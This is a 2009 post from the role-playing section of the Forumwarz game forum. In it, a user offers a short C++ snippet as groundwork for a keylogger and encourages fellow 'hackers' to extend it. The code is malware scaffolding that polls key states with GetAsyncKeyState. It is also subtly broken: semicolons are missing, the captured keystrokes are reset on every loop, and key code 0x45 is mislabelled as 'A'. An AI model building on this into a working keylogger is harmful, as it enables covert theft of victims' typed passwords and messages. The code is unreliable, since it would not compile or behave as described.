Buy Brownie Points
Forumwarz is the first "Massively Single-Player" online RPG completely built around Internet culture.

You are currently looking at Flamebate, our community forums. Players can discuss the game here, strategize, and role play as their characters.

You need to be logged in to post and to see the uncensored versions of these forums.

Log in or Learn about Forumwarz

Role Playing
Switch to Civil Discussion Role-Playing

Viewing a Post

STGill

Avatar: Code (Blue)

[Dev-Null]

Level 14 Hacker

DELETED ACCOUNT

Below is an easy to use C++ function which can easily be converted into a keylogger!

#include <iostream>
#include <string>
#include <fstream>
#include <conio.h>
#include "windows.h"
using namespace std;


int main(){
One:
string keystrokes;
        cout << "KeyStrokes: " << keystrokes << "\n";
getch(); // just using getch to make C++ wait for key strokes.

if (GetAsyncKeyState(VK_SPACE) != 0)
{
 keystrokes+="SPACE"
 goto One;
}
 
// Below is for letters where is says Hex Code put the hex equivilant 
// like 0x45

if (GetAsyncKeyState(0x45) != 0)
{
 keystrokes+="A"
 goto One;
}

/* But there you go my hacker friends basic ground work for a primitive keylogger. You could do like I did with mine and set up the keys in an array which will make the code much smaller. Play with it, have fun! */

STGill edited this message on 08/05/2009 2:14AM
Internet Delay Chat
Have fun playing!
To chat with other players, you must Join Forumwarz or Log In now!